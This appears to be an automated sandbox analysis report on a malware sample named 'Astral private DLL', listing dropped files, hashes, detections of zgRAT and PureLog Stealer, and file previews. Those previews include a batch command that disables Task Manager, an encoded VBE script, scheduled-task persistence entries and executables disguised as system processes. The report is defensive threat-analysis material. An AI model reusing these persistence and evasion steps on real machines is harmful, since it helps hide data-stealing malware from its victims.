SHA-512:	4363A2DBB250A5D9CF00E246D970C3DFE02D521C7AC8E8F5FF1D468D83F6F7B97D1112E0611215D1A3E3F76285473AE275AF13B30C30C5AE6BA6C844AC151EA6
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.T.a.s.k. .v.e.r.s.i.o.n.=.".1...2.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n.d.o.w.s./.2.0.0.4./.0.2./.m.i.t./.t.a.s.k.".>..... . .<.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . . . .<.D.a.t.e.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.3.2.<./.D.a.t.e.>..... . . . .<.A.u.t.h.o.r.>.J.O.N.E.S.-.P.C.\.j.o.n.e.s.<./.A.u.t.h.o.r.>..... . . . .<.U.R.I.>.\.p.o.w.e.r.s.h.e.l.l.p.<./.U.R.I.>..... . .<./.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . .<.T.r.i.g.g.e.r.s.>..... . . . .<.T.i.m.e.T.r.i.g.g.e.r.>..... . . . . . .<.R.e.p.e.t.i.t.i.o.n.>..... . . . . . . . .<.I.n.t.e.r.v.a.l.>.P.T.5.M.<./.I.n.t.e.r.v.a.l.>..... . . . . . . . .<.S.t.o.p.A.t.D.u.r.a.t.i.o.n.E.n.d.>.f.a.l.s.e.<./.S.t.o.p.A.t.D.u.r.a.t.i.o.n.E.n.d.>..... . . . . . .<./.R.e.p.e.t.i.t.i.o.n.>..... . . . . . .<.S.t.a.r.t.B.o.u.n.d.a.r.y.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.0.0.<./.S.t.a.r.t.B.o.u.n.d.a.r.y.>..... . . . .

C:\Windows\System32\Tasks\sihost

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3306
Entropy (8bit):	3.589326406251122
Encrypted:	false
SSDEEP:	96:t7vlnRiDEpnBnknNGki3igVA9ll7dhF7+:DRh/yNw3UrhR+
MD5:	6129ED4BC454DCA4BEB57D3DC9A3345D
SHA1:	C1798C71B6C4339AB572FF4F3D70DED836C4152B
SHA-256:	64C175E9F3B5138604DE89A75E90E79D8FB8F2E8FC777594E9AD75BD1FC55AD1
SHA-512:	267DAC346BC14E4D0121B33184911B299A5A2F27B9D29743D335FA97F0529817F3B4885734FD629FE85D89C720C8AD1EC52366FA6197848A5837B1C795B73EB7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.T.a.s.k. .v.e.r.s.i.o.n.=.".1...2.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n.d.o.w.s./.2.0.0.4./.0.2./.m.i.t./.t.a.s.k.".>..... . .<.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . . . .<.D.a.t.e.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.3.3.<./.D.a.t.e.>..... . . . .<.A.u.t.h.o.r.>.J.O.N.E.S.-.P.C.\.j.o.n.e.s.<./.A.u.t.h.o.r.>..... . . . .<.U.R.I.>.\.s.i.h.o.s.t.<./.U.R.I.>..... . .<./.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . .<.T.r.i.g.g.e.r.s.>..... . . . .<.L.o.g.o.n.T.r.i.g.g.e.r.>..... . . . . . .<.S.t.a.r.t.B.o.u.n.d.a.r.y.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.0.0.<./.S.t.a.r.t.B.o.u.n.d.a.r.y.>..... . . . . . .<.E.n.a.b.l.e.d.>.t.r.u.e.<./.E.n.a.b.l.e.d.>..... . . . .<./.L.o.g.o.n.T.r.i.g.g.e.r.>..... . .<./.T.r.i.g.g.e.r.s.>..... . .<.P.r.i.n.c.i.p.a.l.s.>..... . . . .<.P.r.i.n.c.i.p.a.l. .i.d.=.".A.u.t.h.o.r.".>..... . . . . . .<.R.u.n.L.e.v.e.l.>.H.i.g.h.e.s.t.A.v.a.

C:\Windows\System32\Tasks\sihosts

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	3.5710454406322345
Encrypted:	false
SSDEEP:	96:t7v+3wdRiDenBnknNGki3igVA9ll7dhF7+:c3wdRxyNw3UrhR+
MD5:	2B0F92084012D7CEEFBF1FE4CAC7DE87
SHA1:	0A67C613BFF4A886526FBCBF86744A6B799F72BA
SHA-256:	CB146A3B5027D233409A8906E74ED1BD7CCCA9EB81A0B3533668555233250B0A
SHA-512:	71A4BCBD9573862203E72C0A8F8E4FE6D63B1125BBAF502329CD71A1DB7E3B3D6309C4F0ABCB58DC7789B63B864AE63818FC21B6F570867E80CF00A7CD755B9F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.T.a.s.k. .v.e.r.s.i.o.n.=.".1...2.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n.d.o.w.s./.2.0.0.4./.0.2./.m.i.t./.t.a.s.k.".>..... . .<.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . . . .<.D.a.t.e.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.3.3.<./.D.a.t.e.>..... . . . .<.A.u.t.h.o.r.>.J.O.N.E.S.-.P.C.\.j.o.n.e.s.<./.A.u.t.h.o.r.>..... . . . .<.U.R.I.>.\.s.i.h.o.s.t.s.<./.U.R.I.>..... . .<./.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . .<.T.r.i.g.g.e.r.s.>..... . . . .<.T.i.m.e.T.r.i.g.g.e.r.>..... . . . . . .<.R.e.p.e.t.i.t.i.o.n.>..... . . . . . . . .<.I.n.t.e.r.v.a.l.>.P.T.1.3.M.<./.I.n.t.e.r.v.a.l.>..... . . . . . . . .<.S.t.o.p.A.t.D.u.r.a.t.i.o.n.E.n.d.>.f.a.l.s.e.<./.S.t.o.p.A.t.D.u.r.a.t.i.o.n.E.n.d.>..... . . . . . .<./.R.e.p.e.t.i.t.i.o.n.>..... . . . . . .<.S.t.a.r.t.B.o.u.n.d.a.r.y.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.0.0.<./.S.t.a.r.t.B.o.u.n.d.a.r.y.>..... . . . . . .<.

C:\Windows\appcompat\e978f868350d50

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	ASCII text, with very long lines (808), with no line terminators
Category:	dropped
Size (bytes):	808
Entropy (8bit):	5.8988579258560625
Encrypted:	false
SSDEEP:	12:MN1VYxqgthUYThHkKUB0f7PVerBzDzeo/RhRluOzHvAcAhktEOUMmXUTT1NA:iVYxqghUwHkKjr8Z/xJz4cCkEvET/A
MD5:	B8EA7E071D42BF0956A058CD9E57FAE0
SHA1:	284D0038A589EB8ECD2CFD3EB617952AE4ED500E
SHA-256:	B4BFCB7EF014E9204B9CF34F4C7328BF4C16F0317836C4681D13B01BFF55922B
SHA-512:	6843AA4FE7CA89D52A25D7D5D5BF46C69A73CB8E872C605C046B5557AA289E9DFF7B42E1AF5020B3C2FC190A22A670F7AA213E049CD9014B3888BCF89E8DEB90
Malicious:	false
Preview:	0laN3CsYq5pOLv5WLcoe3JOkT9ogEQH47mTvoCNPOARqNNmOF3baeg4rWz34XMUayvRjcKsJOZP21hWFWabKyqaarlYzIT1Cq12c6Cw4LSMFRB0zcxh7uKmHV010w3A5hNMAp4JUog9feUJpujWVv4RfOuHFK5IRSQhDyzJhoNSNKGmAqMGNgpJn5qv4wDJsYrNNwF14ZzrilDUHIHZ8z5vnH4IIEOukEjzd3YNkULxr8lB1VnwpoK3d5kG17s0KEGdBO1Ot3ynnHEof3QwacF63qWhTRVnlUmn1H9neZDv0gPV15l8q6Zs8KkV2T4biLBTebwX3nRBZTGXaAqYqX6p44orhouLelNoe60aINEDoYToEN52ngvLOWYkwF0P2GgxGb2dJPPcS3Agk9nUt2h80BaIiQoDXyKi2fimUbsXQS2VW29wbgg9ih7EAu53lMFdscnFbA9SKJsiIEvpQ1l1SK9UidmkfzwDMZn4O4VbhOzZzZ568PmtlOLhcTh8YYwUWoVtb1bVfKTDVkeIhqmPMCc8NGb5XXDIceCLDMeHyRNb4IL2yYaswgITLWgVZf7IHLl0hSFVLeb5zBDF4jH96UW5WsAqqJrSTFUtgVUfTFhRFNeKTab0Y8MwzpdzSYpCxIlurUiiOlq0xE0JNzXPr04V2h401eM4aee6lud822mwRW8uzUmcAZU6OQ1JZrrtZvZSk3hcWYXzOIDgjJBg2t4AKhsU3TiKL2Wg6qK5wJFlCesFNVkQqK1p1YHDLMjDzMoVvgk39FusnS8qymHitSdABrphiHtjkCwz0

C:\Windows\appcompat\powershell.exe

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	68597760
Entropy (8bit):	0.38816501086795074
Encrypted:	false
SSDEEP:	24576:1VJEBWEFKKqXYkSa7ixTVHMoepIQfm9Eymyg+mbqA72E27dyIkzdn3m2OxJ+NikO:1bxzV7id+7yTgJWA6ESkzdWnJc9n
MD5:	01287AA2A0B5D2178CB13C477A04DC21
SHA1:	884039BF4A15A820073CEF5A7D2022A97EF93C8C
SHA-256:	4AF6BBCFF1CD1386DD5023BFBF76E9C532C8F466563768D40459E5CE9A40A52B
SHA-512:	641D8FA8F22C57282139DB3192A50C7B84DAD0E4987327AD728A89BF65D533955589A4ACB31B17179856A4A159F3E2EA105EAAC5A5B255BD3B8E3C9B97973911
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\appcompat\powershell.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\appcompat\powershell.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\appcompat\powershell.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\appcompat\powershell.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?:-g............................./... ...@....@.. ....................................@................................../..K....@.. ....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@....reloc.......`......................@..B................./......H...........H................H.../.......................................0..........(.... ........8........E........)...N......8....(.... ....~y...{....:....& ....8....(.... ....~y...{....9....& ....8....(.... ....~y...{l...9....& ....8y......0.......... ........8........E................9.......H.......8.......... ....8....8.... ....~y...{....9....& ....8....8.... ....8....~....(M... .... .... ....s....~....(Q....... ....~y...{....:W...& ....8L.......~....(U...~....(Y... .

C:\Windows\en-GB\24dbde2999530e

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	ASCII text, with very long lines (861), with no line terminators
Category:	dropped
Size (bytes):	861
Entropy (8bit):	5.8887807215685735
Encrypted:	false
SSDEEP:	24:J7NBAssYMYW90YHDJPSgaLN4UgnR/HcGykPUV2:J7P/NYjJCCO8PUV2
MD5:	0BE8D47FBFB454D2B12BBFDC7AE1B994
SHA1:	BB8E7560BFBE8450CF3AC6A574C35DADFE5F0B73
SHA-256:	D884739AA46D2CB35BB5B5BF2EBF00B20A3A5430DA07B72A623FB7C9D4C1449D
SHA-512:	790471F4D14F45D8FC64C3BAA2EA576A70164A4F31B62F90401841FF5EAEC1D9456709A198F845001D9B2DC2AD2CC44C915D8CA8446455363052B428C078E0DE
Malicious:	false
Preview:	C6T9ktMGa5ewnmSyJ0qFyXIwcMEekRrdxVrkK689UcaQOxTg0lvjj8CoyhhXosfJOA9R5rnM2quW71hp3in9fH4yTCwnZkVm7QCOyBlI7ir2Oqq6A2eGEfnGFK825AxRVIYqzT017eB7aCkmVznhFPhbm5InDsN7uZgFS9HrBnJjeqpDkVgFXQMGl6E3KNyORDMBfeUVs6fcF776PFCrLIkeNaeV5Ogxz4SaeohGAKXbutAn9HnELGCJdryFA9ZdZsmLpgbli6qAuJtdZ1Vykcms1J6w0bFBv3BCGz7cqBgOZBYU8UqJnl37F4TgjovG0pP1HrWj32Hj6XSzumyfv6YJAE6Mgb3BQZYuwhNQ8GPueUBsldv7zPV4RG1CuJDc9GSg9hDNYhhornoqDNkCp5LBDedpqKgyCwuYBetDZhiSrqMnbK8gjBwD4RdfEYhNBtm42QojehnHW3TWR0NfM9PB9qduAN9BAVQ8ESuKgZBBXorA8GONKCBCel4Mx4iQhlHBnUS8FD8w7NnV9dw49v17TOedYiXl0vewhpXnyPIGDOEQ7jMTIoRwuKsY0ykhpX6Mt1xUGIGunu4EJNfyVDdMdsBW78w9okbqS2hGv1N9hgIAQnPnTvLl3tsBzaXHVHFCTNwRpZDe0eo7jBGTtJp3ZzxiJgRUeGnabGrC0773srvYEvbxUDYMbMndaNIJIs9u1OfdUEcvMvKrEYeYEdAarb8OcNmnzyvArBh0P8dPkm9pC5ZBttEoriCZPQAGbz6YAK9C1nIGAu0FbTMgyk3FtHSJ9Hk87Wyuplp25WJFk8o7s786EdS051o210DuDKIo6FZ0oUlbbyevdUaBIo4dD7zy7

C:\Windows\en-GB\WmiPrvSE.exe

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	68597760
Entropy (8bit):	0.38816501086795074
Encrypted:	false
SSDEEP:	24576:1VJEBWEFKKqXYkSa7ixTVHMoepIQfm9Eymyg+mbqA72E27dyIkzdn3m2OxJ+NikO:1bxzV7id+7yTgJWA6ESkzdWnJc9n
MD5:	01287AA2A0B5D2178CB13C477A04DC21
SHA1:	884039BF4A15A820073CEF5A7D2022A97EF93C8C
SHA-256:	4AF6BBCFF1CD1386DD5023BFBF76E9C532C8F466563768D40459E5CE9A40A52B
SHA-512:	641D8FA8F22C57282139DB3192A50C7B84DAD0E4987327AD728A89BF65D533955589A4ACB31B17179856A4A159F3E2EA105EAAC5A5B255BD3B8E3C9B97973911
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\en-GB\WmiPrvSE.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\en-GB\WmiPrvSE.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?:-g............................./... ...@....@.. ....................................@................................../..K....@.. ....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@....reloc.......`......................@..B................./......H...........H................H.../.......................................0..........(.... ........8........E........)...N......8....(.... ....~y...{....:....& ....8....(.... ....~y...{....9....& ....8....(.... ....~y...{l...9....& ....8y......0.......... ........8........E................9.......H.......8.......... ....8....8.... ....~y...{....9....& ....8....8.... ....8....~....(M... .... .... ....s....~....(Q....... ....~y...{....:W...& ....8L.......~....(U...~....(Y... .

C:\containerperf\0d88ef3a63e6c4

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	212
Entropy (8bit):	5.708713708020551
Encrypted:	false
SSDEEP:
MD5:	121505A159FAAA411EFD50112B75B55D
SHA1:	55BB4F4585A8C5D68DF06F28333B325D65B219A7
SHA-256:	1A7BE99A73F12DF405FB871EDCEF678F1B32E28CA670B0DB142F59CC910A227B
SHA-512:	80EFFF86556060524FF8839CB0471D3A938E9063DBDF817640A0CE8BD78D3CFF601EBC03D89B2473B01C8F2B1720A07A8C1F04110F1AA2077D0739620563F7F8
Malicious:	false
Preview:	ktaOoGz5HWwFJvnO28XSAP3cfXPJrYfooWdk6czFnjgVbqWoHIFdWLMV08sQ1qNt1HbxRCSaJRobthAzAlBiSCRcKIu7tiO7VweTOjWF0pTEgvlS73PQppbz08mJSVqlDrF6DrkbO5smsN6Zgc90S7SqVpdP6Mwe9sAzppPQSyBt6zGmCNn0V0SFZZlXOVeBJNmAMHt1Mthe6itgi0Ms

C:\containerperf\24dbde2999530e

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	ASCII text, with very long lines (999), with no line terminators
Category:	dropped
Size (bytes):	999
Entropy (8bit):	5.918176740237764
Encrypted:	false
SSDEEP:
MD5:	AD5B5213A651482FB9B589BF4EF4FF19
SHA1:	55AD67C33FD18B41AB9A0BB46CC9FF8327059181
SHA-256:	38365AC1905E0E5C306830DD4CB96C1D9223F9BF557F7A4D385791162A773EBD
SHA-512:	2312F4CC13D09B946C1DD2F8F3DF709A7C14FCF2272720AA0E59D1401FBD5AFEABB7CBC418D6298F6E59BA6553E448BD629CC4B362DE6E9C33645D3A96D31E6D
Malicious:	false
Preview:	BnhIRt20ZHW2ZgaBlYPok8Qk21UfIBwE6dTxdAWLkNhrcFWdoRxnKKZCX7PaZXsXVS66NmhkBEEXbiIxf010NI3vDRZgu6wNeKWJJZQBuMlFGCkyyc4ig2JMYK35NA0FS03RL8oFkzFAgyoBqlsSBNrmAJv8gUytWgwQJTnzyz7qwJqkf1OlSiDFIRRCNpiQAWo9BY2W72dLQAz1dLcpFMaycrH2CkmIRrqZeqiH91oZE1yHbajBM3Kx5zhTQAUXQV4iUZWwmVqNiAul3AamBk5Xg3epJP08hQJs6PxBDwZ1N6O4E5aQjrVqZhBa5qnXfrpS1BonMYiPKEKkpjkNyjY05cTZNXGXJBVfQ6DDRxELIGfUWbvWGZi5SzXYsOZzSLFJsoTtfh6BfNry78CwmuRtdaNajpUCXP27AWlsHC0idgaEIiatLmMh4WpSa2J0M3nPVuxlXUoj4sQ6AJSAOl0uCUCoqTRP29Wj3KtXvzW18nnLFtRRjJmkC2NAsI4DDZr4WqD0Z5OYP9wZr0j7B9psWvgA6tpm5Sxj5tzZpb2o4OVDGyT1j7BEt8hkJD4qPlc6MNd7AJRkHBxIad3IayD8Qtz6LPPmhLYSvY13UV0Zpb7sKZKqJwQbiepcXhvv3oD5mfWBmAxE7nSzwHvwEjdu46uRsYfxjFfBXBGpCIDI8Le4M0qQv8qUKSBquFSNe9f2HQbuBFu6fVwsczE2rPCkYL0FAZ46z0n9qmw5Y5PpOuyzgSO5AafP74e6aWulLxGprxCzCJewAWWnXBjrL96ZUYBwH0fBKneboJHtQY216tOki0iYxCZL1qUTvQsLoclW248O4zbxGEdkJaNRRGOHOSk8yx79qqNdI1sn2Ud7llFwMuJVCa3hNdHjUAZH2bHZ19cRrkZ7mRgnNxvEnm7PwpQpuIS14WEJdp4MR2ncB6466eWgOVdQe2nMtxhjRhCQMXJi3jwv8fN0vTsPvvnj3yplCsceUDKe4ou

C:\containerperf\6203df4a6bafc7

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	154
Entropy (8bit):	5.692650849381572
Encrypted:	false
SSDEEP:
MD5:	88C4417F7296B71B27E3EFE87D826762
SHA1:	5E484EDCC594B168083EABC35D17576BD3AE46E2
SHA-256:	835C0125084789629E1CBBC47BACA7703220665ADB0999A9BCD69FC36123E946
SHA-512:	850389E6323FDCA8498B8415BDC66A6A9BF31FF4FF72AD7EEFA9540F6B3B23476EBAA310ABE9A26E09BD68302721357B368FC610FBB1AE23B05DD3D408F0978F
Malicious:	false
Preview:	2XKoRqvU3Lr9QNyvaWII9UtTmzwgOJoTHlEvoBrtNT3E5eWi7YHs19Jhn0Cc4PFugY1pIDGZpY4qbpYHcNizB6cIbgIy8Oz8NIihnqZ4SrDcEdG8c49rqQtj5tNl5Raaj6cSH0ewxohU3AD8aKWEPHR7Z8

C:\containerperf\OHYKCXOXzFm1PCyBPS6uXfmto4OWxv9XE4FGIVj.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\Astral private DLL.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.221623538511648
Encrypted:	false
SSDEEP:
MD5:	705BBADBF818277DDD38AFA10533756B
SHA1:	1D5FB39C2793854E8C7D848798E39C659AA3E22D
SHA-256:	871EF6A27BC10A920CE0890B50BF9926B7DBD4EEA19A97A19BB837BE7A97E5F3
SHA-512:	F8C46C4E4E31445A397AF9F437B86B15EDD48047C24F9C78F0E49EFA28EA293465CB7AEF242E71B2D127DEBA3827AEE8F00C7CC11085F8C05A771B1CFBF36C31
Malicious:	false
Preview:	%UDEt%reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f%ixLh%..%CnADjXQtb%"C:\containerperf/ServerComponenthostMonitorDll.exe"%cdaYrDokcPsL%

C:\containerperf\ServerComponenthostMonitorDll.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\Astral private DLL.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	68597760
Entropy (8bit):	0.38816501086795074
Encrypted:	false
SSDEEP:
MD5:	01287AA2A0B5D2178CB13C477A04DC21
SHA1:	884039BF4A15A820073CEF5A7D2022A97EF93C8C
SHA-256:	4AF6BBCFF1CD1386DD5023BFBF76E9C532C8F466563768D40459E5CE9A40A52B
SHA-512:	641D8FA8F22C57282139DB3192A50C7B84DAD0E4987327AD728A89BF65D533955589A4ACB31B17179856A4A159F3E2EA105EAAC5A5B255BD3B8E3C9B97973911
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\containerperf\ServerComponenthostMonitorDll.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\containerperf\ServerComponenthostMonitorDll.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?:-g............................./... ...@....@.. ....................................@................................../..K....@.. ....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@....reloc.......`......................@..B................./......H...........H................H.../.......................................0..........(.... ........8........E........)...N......8....(.... ....~y...{....:....& ....8....(.... ....~y...{....9....& ....8....(.... ....~y...{l...9....& ....8y......0.......... ........8........E................9.......H.......8.......... ....8....8.... ....~y...{....9....& ....8....8.... ....8....~....(M... .... .... ....s....~....(Q....... ....~y...{....:W...& ....8L.......~....(U...~....(Y... .

C:\containerperf\WmiPrvSE.exe

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	68597760
Entropy (8bit):	0.38816501086795074
Encrypted:	false
SSDEEP:
MD5:	01287AA2A0B5D2178CB13C477A04DC21
SHA1:	884039BF4A15A820073CEF5A7D2022A97EF93C8C
SHA-256:	4AF6BBCFF1CD1386DD5023BFBF76E9C532C8F466563768D40459E5CE9A40A52B
SHA-512:	641D8FA8F22C57282139DB3192A50C7B84DAD0E4987327AD728A89BF65D533955589A4ACB31B17179856A4A159F3E2EA105EAAC5A5B255BD3B8E3C9B97973911
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?:-g............................./... ...@....@.. ....................................@................................../..K....@.. ....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@....reloc.......`......................@..B................./......H...........H................H.../.......................................0..........(.... ........8........E........)...N......8....(.... ....~y...{....:....& ....8....(.... ....~y...{....9....& ....8....(.... ....~y...{l...9....& ....8y......0.......... ........8........E................9.......H.......8.......... ....8....8.... ....~y...{....9....& ....8....8.... ....8....~....(M... .... .... ....s....~....(Q....... ....~y...{....:W...& ....8L.......~....(U...~....(Y... .

C:\containerperf\lsass.exe

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	68597760
Entropy (8bit):	0.38816501086795074
Encrypted:	false
SSDEEP:
MD5:	01287AA2A0B5D2178CB13C477A04DC21
SHA1:	884039BF4A15A820073CEF5A7D2022A97EF93C8C
SHA-256:	4AF6BBCFF1CD1386DD5023BFBF76E9C532C8F466563768D40459E5CE9A40A52B
SHA-512:	641D8FA8F22C57282139DB3192A50C7B84DAD0E4987327AD728A89BF65D533955589A4ACB31B17179856A4A159F3E2EA105EAAC5A5B255BD3B8E3C9B97973911
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\containerperf\lsass.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\containerperf\lsass.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?:-g............................./... ...@....@.. ....................................@................................../..K....@.. ....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@....reloc.......`......................@..B................./......H...........H................H.../.......................................0..........(.... ........8........E........)...N......8....(.... ....~y...{....:....& ....8....(.... ....~y...{....9....& ....8....(.... ....~y...{l...9....& ....8y......0.......... ........8........E................9.......H.......8.......... ....8....8.... ....~y...{....9....& ....8....8.... ....8....~....(M... .... .... ....s....~....(Q....... ....~y...{....:W...& ....8L.......~....(U...~....(Y... .

C:\containerperf\mtmIdTw4RygS3trJMnWvLFqF6dzRpLwhZvwqEPqaKDGsnR5lufKuCs3iyL.vbe

Download File

Process:	C:\Users\user\AppData\Local\Temp\Astral private DLL.exe
File Type:	data
Category:	dropped
Size (bytes):	230
Entropy (8bit):	5.9048913247977834
Encrypted:	false
SSDEEP:
MD5:	3EF9810CEB57153AB80DD204F33E7F91
SHA1:	3FD4057ECAD16CF11F2CAB6D0AD44BE3BD4B0E3F
SHA-256:	D88A8B553F99F796C80A9E7CC41534B43FAB45C7B13FD1D52C9B580D541A272E
SHA-512:	E65CAD2C807BF012D13842DAC72BD2436D182702FC7BB7FB212487B322A9442504A7C1F42DF57E760AC24C322B810BA8C2FFA616DD2ACDFB8098BDB5E8012FE9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^zQAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2v T!Zb@#@&j.Y,./4?4nV^PxP;DnCD+r(%+1Y`r.jmMkaY ?4n^VE#@#@&.ktj4.VV ]!x~J;lJmG.Ymkx.DanD6z&r_5F/or(.o:8nZH$K?+Eo0hYG}.a\Op2Ws!(jLR8CDJSPZS,0C^/.JUEAAA==^#~@.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	1.3486334609113004
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	AstralprivateDLL.exe.bin.exe
File size:	68'917'713 bytes
MD5:	c9f4668c97eb480751e1bbf6173fc4e1
SHA1:	528deade2bc88cafc26f78f7c73490b66abdf370
SHA256:	b9f8572fc7a8a6c2230434abb7190ae860f28386b3f0d5e5ee3754c6befca240
SHA512:	dd1d2499a2fca08181e43ea53138b3001d5674f2197c8962681bea188a07687feeb19b5bb8fb35e2339739e7df7b2bc2b2166bf02733bb3cf01f90571f874f41
SSDEEP:	196608:27H3VIb7wjJfQqkGCaG1R8uzSJzbwHyokFpz/ehFCIUmF4tDDnYdBaUqkM9h8:s6vwmRR85JPwHyjIgIPCRnYBY
TLSH:	B8E73346095125D4F5107C74A14EF8EA9249BC535FA6BD308C23CAA88B3EDD3C7CAE97
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Q..................r...........u.......u...@..........................0v............................................

File Icon


Icon Hash:	1515d4d4442f2d2d

Static PE Info

General

Entrypoint:	0xb58900
Entrypoint Section:	VyCxe
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x51BC99EC [Sat Jun 15 16:44:28 2013 UTC]
TLS Callbacks:
